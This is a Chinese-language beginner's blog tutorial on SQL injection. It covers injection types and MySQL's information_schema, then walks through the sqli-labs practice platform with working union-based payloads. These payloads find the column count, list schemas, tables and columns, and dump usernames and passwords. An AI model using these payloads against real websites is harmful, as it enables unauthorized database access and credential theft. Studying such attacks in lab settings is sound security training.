SQL注入心得
开始web渗透之路,新手村
♦什么是SQL注入?
就是你提交的内容里面含有SQL语句,到服务器的时候执行你想要的内容或者效果。
♦SQL注入的种类有什么?
- 按照注入点来分类
-
数据型注入,提交的内容不会加上‘’
-
字符型注入,提交的内容会加上‘’
-
- 按照注入结果服务端会显示给攻击者与否来分类
- 有回显,会显示传送回来的信息或者错误提示
- 无回显,只能用盲注分为布尔型注入还有时间型注入
♦数据库结构:数据库 > 表 > 列
注:数据库的信息存放在一个公共的表(information_schema)
| 对象 | 数据库 | 表 | 列 |
|
英文 |
schema | table | column |
|
信息库的列名 |
table_schema | table_name | column_name |
♦SQL自带函数
用户:user() 当前数据库:database() 数据库版本:version() @@hostname (用户) @@datadir (数据库在文件的位置) @@version (版本) @@version_compile_OS (操作系统版本) 例:$name=' union select 1,user() --+ 解析:select 2列 from 表 where name = '' union select 1,user() -- ' //--+跟--空格效果一样,都是为了注释掉后面的’
♦字符型SQL的注入步骤
- 首先我们要判断是否有注入点(服务器会对我们除了正常输入以外的测试语句有反应):
- 报错
- 可以影响到查询的结果
select 列名 from 数据库.表名 where name = '$name' 当输入$name = 1' and '1' = '1 和 1' and '1' = '2时页面不一样或者报错就说明有注入点
- 然后继续探测select语句中有几列
$name = 1' order by 数字 --+ (--+ 为url编码后的 --(空格) 是注释符,用于屏蔽后面的‘) /*
order by 列名 -->列名可以是id、age、name等等。 因此数字从大往小猜,如果超出它的列数,则报错;如果恰好等于列数,显示$name=1的结果 假设结果 为2 列 */ - 判断显示信息是第几列
$name = 1' union select 1,2 --+ /* 这样可以显示有多少显示位 */
实战演练
平台是PHP+MYSQL+sqli-labs
工具是HackBar(墙裂推荐这个,很不错的一个工具)
先输入?id=1,正常显示,再输入?id=1’,有报错说明是字符型注入

再输入?id=1'and '1' = '2' --+ 发现跟?id=1'and '1' = '1' --+ 显示内容不一样有注入点

输入?id=1' order by 4 --+ 错误所以一共有3列

输入?id=888' union select 1,2,3 --+ /*输入一个很大的id,有两个显示位,分别是2,3*/

?id=888' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+ 查找数据库的名称

select group_concat(table_name) from information_schema.tables where table_schema = 'security' 继续爆出表名

select group_concat(column_name) from information_schema.columns where table_name='users' 继续爆出列名

?id=888' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users) --+ 爆出最终的用户名和密码

实验完成

浙公网安备 33010602011771号